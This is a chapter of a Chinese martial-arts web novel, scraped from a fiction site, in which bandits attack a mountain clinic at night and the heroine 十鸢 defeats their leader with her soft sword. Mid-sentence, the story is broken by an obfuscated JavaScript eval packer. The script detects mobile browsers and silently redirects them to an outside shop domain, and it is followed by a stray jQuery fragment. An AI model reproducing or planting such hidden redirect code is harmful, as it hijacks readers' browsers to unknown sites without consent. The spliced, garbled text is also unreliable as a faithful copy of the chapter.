文趣网 > 其他小说 > 宴长鸢 > 10. 夜袭
    回春堂背靠群山,易守难攻,是个绝佳的隐蔽之所。

    堂内不过普通平民,刘老大想悄无声息带人潜入回春堂轻而易举。

    众人躲在堂外的灌木草丛里,静待时机。

    “待会你先去将那女的绑了,手中也好多一个筹码。”刘老大随意抓过身旁一人手臂嘱咐着,“尽量别闹出大动静,她不是我们的目标。”

    “老大,我办事你包放心的。”对方信誓旦旦拍胸脯保证。

    刘老大瞅他一眼,欲言又止,最后转头又与其他人商议,待吩咐完一切事宜,便继续盯远处的院子。

    傅九川下午出门,夜间才归,现下早回了房间,自是不见他的身影。

    半响后,傅九川屋里的光灭了,十鸢推门从他屋中出来,回到自己房间点上蜡烛。

    又过半个时辰,天已大黑,今夜的月亮似乎也在躲避这场刺杀,隐在了云层后,散着雾蒙蒙的光。

    回春堂最后一盏灯也灭了,那是楚宴的房间。

    楚宴毫无预兆将烛火吹灭,谢京墨只好摸黑去寻他的床榻。

    他小声抱怨几句,躺榻上时又问:“你下午在那真没跟神医姐姐道别?我看你聊得挺开心,也不知道收一收嘴,都快弯成月牙了。”

    楚宴不答,他又恼:“药方还未到手呢!”

    “先别说话。”楚宴警惕地盯着窗口,竖起耳朵听窗外动静。

    谢京墨不明所以,便也静静细听外头的声响。

    正值夏日交替,初秋将至,此地又是山林,比城镇更早入凉,就算如此,林间也还是多有蝉鸣之音。

    谢京墨心思不稳,听不出个所以然,只道是皇帝不急太监急,干脆毒死他算了。

    外头草从里也不安生,蛇虫鼠蚁多,刘老大一群人被蚊虫叮咬,满手红包。

    眼瞅着灯都灭了,人人眼放亮光,按计划潜进堂内,向几间屋子靠拢。

    十鸢房门前,拍胸脯的老六撬开锁,蹑手蹑脚潜进屋,借门缝透进来的光线,很快找到床上正熟睡的十鸢。

    他手上拿着事先沾好迷药的巾帕,来到床前,一点点朝十鸢的面庞逼近。

    十鸢背对他侧身而卧,鼻尖嗅到一丝药气,眉头微蹙,气味越来越浓,紧接着她肩头便被一只大而有力的手给扣住。

    她真是装不下去了!

    在巾帕彻底要覆上她口鼻时,她倏然睁眼,反手压住那手腕往里推。

    那人显然没料到十鸢还醒着,措手不及间已被迫躬身,倒向床面。

    他一手按住巾帕杵在床面,一手搭在十鸢肩头,就这么撑着身子,低头看向十鸢。

    十鸢浅笑转头,与来人打了个照面,而后曲腿将身子往后一滑,干脆利落地翻身下床。

    因十鸢这番动作,那人借十鸢肩头的手失去着力,身下落空,随即栽倒在床。

    他欲翻身,十鸢抬脚踩上他背,令他动弹不得。

    这人也是个有骨气的,使劲昂头不肯低下。

    “你什么人?”他趴在床上出声质问,心中却是将刘老大骂了个遍。

    谁说这娘们不碍事?

    明明就是个练家子。

    “早发现你们在外头鬼鬼祟祟了。”

    十鸢交叠双手轻轻拍了拍,手肘弯曲搭在膝头,掩嘴打了个哈欠:“为了等你们出手,大半夜都没睡,困死姑奶奶了。”

    十鸢俯身,底下人只觉背上力道陡然加重,令自身与床面不得已更贴近三分。

    “作何深夜这般扰人清梦?啊?”十鸢扬手一巴掌拍向他头顶,给人干得脑瓜子嗡嗡的。

    那人不堪受辱,奋力挣扎,试图起身,十鸢烦得紧,忽然外头传来大喊,是傅九川的声音。

    “有刺客!”

    十鸢暗道不妙,一掌打晕床上之人,匆匆离开。

    --

    傅九川出门起夜不慎撞破刘老大正带人包围楚宴的屋子,故而扯开嗓子提醒。

    “咋回事,怎么漏了一个人?”刘老大眼珠四转,发现众人纷纷凝视他。

    当时来探路的是刘老大自己,他漏下人,别人咋个知道。

    傅九川一声叫喊惊醒堂内所有人,刘老大在众人的疑惑中迅速下命令:“赶紧动手!”

    刘老大带人涌进楚宴屋子,大门刚被劈开,视线还未来得及锁定某人便被当胸踹出,连带身后好几位兄弟做了垫背。

    刘老大有肉垫缓冲还不算疼,他撑身站起,拂开挡视线的灰尘,伸长脖颈,眯眼往里头探。

    “吱——”被劈一半的残门摇摇欲坠,最后“轰”地倒在廊下。

    谢京墨踱步而出,立在廊下,与人拔刀相峙,期间还有闲情去掸衣上残留的木屑。

    “还是你耳朵好。”他不吝夸赞,眼珠却是往一旁转,用余光去扫身后人。

    刘老大顺他视线瞧去,屋内本漆黑,大门一倒,几缕不算敞亮的光线撒进去,倒也能让人瞧出个轮廓来。

    人影缓步踏出,刘老大睁大眼辨认,画像重合,刘老大大手一挥:“上!”

    谢京墨剑刃翻转,嘴角噙笑:“让小爷瞧瞧你们多大本事!”

    兵器相交,楚宴默默退至一侧,算是不妨碍谢京墨的意思。

    很快,院子里便充斥着铁器交鸣之音。

    “九川!”十鸢出门入目的便是群魔乱舞般的景象,她连忙跑到傅九川身旁,将他护在身后。

    刘老大在外围瞥见活蹦乱跳的十鸢出现,啐骂一声:“没用的东西!”

    他带的弟兄不过六人,除被派去绑十鸢的是个小废物外,剩余五人可不是吃素的。

    他们将谢京墨围得水泄不通,双拳难敌四手,纵然他武功了得,时间一长也难免吃力。

    刘老大趁隙偷袭楚宴,谢京墨好不容易脱身去挡,但不过几招又被重新拖回那五人的包围圈里。

    楚宴孤立无援,饶是谢京墨也无暇顾及。

    看着眼前利刃向朝己飞射而来,楚宴已经偷偷蓄力打算还手,只不过他还是慢人一步。

    夜色灰蒙,腰间霜华显。

    轻软剑身被利刃抵弯,薄如蝉翼的身躯抵的是孤注一掷的冲锋,寒芒迸现,它身后是彻骨冰冷的双眸在逐渐燃烧。

    浮光掠影,有人瞠目结舌。

    十鸢两指扣住剑尖,轻轻一弹,对方连人带剑被震出数步远。

    这浑厚的内力......

    刘老大被尘土裹挟,一路后退,他稳住身形,不可思议地观察着将自己击退的女子。

    他看走眼了。

    楚宴握紧的拳头松开,他垂眼,视线落在十鸢头顶,蓦然安心许多。

    刚才是没想到她会出手相助,她一直是喜欢袖手旁观的。

    见人被逼退,十鸢手握霜华垂放身侧,身体的本能却不让她有一丝松懈。

    “你想死吗?”十鸢这话既是说给刘老大听的,也是说给身后的楚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749102|209328||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    宴听的。

    “十鸢姑娘,我......”

    楚宴欲解释被打断。

    “闭嘴,躲一边去。”

    十鸢这话凉薄至极,她眼里蓄满杀意,与平日里的模样大相庭径。

    她现在眼中完全没有楚宴,甚至觉得他是个累赘,尤其妨碍人。

    如果楚宴被误伤,十鸢断然是不会负责的。

    楚宴像被骂了滚蛋,默不吭声又往后挪了两步。

    他重新退回屋内,可是这间屋子已经没有门了,那门正被十鸢踩于脚下,他犹豫片刻,从门框后露出脑袋:“对不住,这门我一定赔。”

    他讲的又急又快,在这动则见血的画面里有点另类。

    他到底是要缓和气氛还是在煽风点火?

    刘老大被吸引去注意,直他娘觉得一大老爷们躲女人身后丢人!

    刘老大不动,十鸢也不动。僵持间,十鸢先动了,刘老大摆出防御姿势等她出招。

    十鸢抬脚,刘老大举刀,没成想十鸢只是往边上挪了一小步,刚好踩进四分五裂的木板缝隙里。

    楚宴见这举动,语带诚恳:“看来这门你真的很宝贝,我赔双倍行不行?”

    要赔就赔,还要问她行不行?

    十鸢蹙然失笑,虽说此刻不合时宜,但她还是背着人回了话:“楚行知,你真的——只有钱,不要命。”

    楚宴闻言迅速开口:“自然要的。我赔五倍!”

    刘老大见状,心中纳闷:怎么感觉和朝都城内的传闻不一样呢?

    他不作深想,眼下要动楚宴必须先掉解决十鸢。

    他先发制人,却在与十鸢过招之中逐步趋于劣势。

    楚宴半身隐在门框后静静观战,十鸢会武的事实也暴露无遗。

    十鸢的剑法柔中带刚,使的是软剑,可每一次出手却不留余力,这柄软剑在她手中运用自如,一会软如蛇身缠绕,一会又如银枪坚韧刚决。

    月黑风高夜,最适合杀人。

    魅影如梭,刀刀见血。

    刘老大几次要刺中十鸢,都被十鸢轻易躲开,他控制不住惯性,被迫拉进与十鸢的距离,反倒被划开几道深浅不一的口子。

    她剑指地面,随剑起势,轻盈身躯腾空而起,对准刘老大的胸膛先后踹去两脚,又借脚下力道,往上升了几寸,顺着弧线再次落地。

    满地尘埃随风而起,它们在十鸢的脚下汇聚涡成了璇儿,躲在她的袍角下苟且偷生,又在风走时钻进她一切有缺口的角落。

    那是一切弱小寻求比它们强大之人庇护的本能。

    刘老大杵着剑跪在地上,嘴唇蠕动,吐出鲜血。

    “老大!”有人看见刘老大吐血,试图赶过来相救,却被十鸢一掌击退。

    那人也踉跄着往后栽倒在了刘老大身旁,刘老大想扶起自己兄弟,甫一低头,眼底划过一丝冷光。

    十鸢掠影一般至刘老大跟前,她手中的剑抵上他脖颈,只需稍稍一撇,刘老大便会命丧当场。

    “叫他们住手。”十鸢寒声命令。

    刘老大小心翼翼抬头,对上十鸢的眼睛,眼里虽有不甘,却还是叫人停了手。

    谢京墨脱身回到楚宴身边,那些黑衣人也端着防备的姿势站在原地,不敢轻举妄动。

    刘老大开始打量起十鸢,对架在脖颈上的霜华几番思索,忽而说出一句不着头尾的话:“褐眸浅瞳,原来这就是你面纱下的秘密。”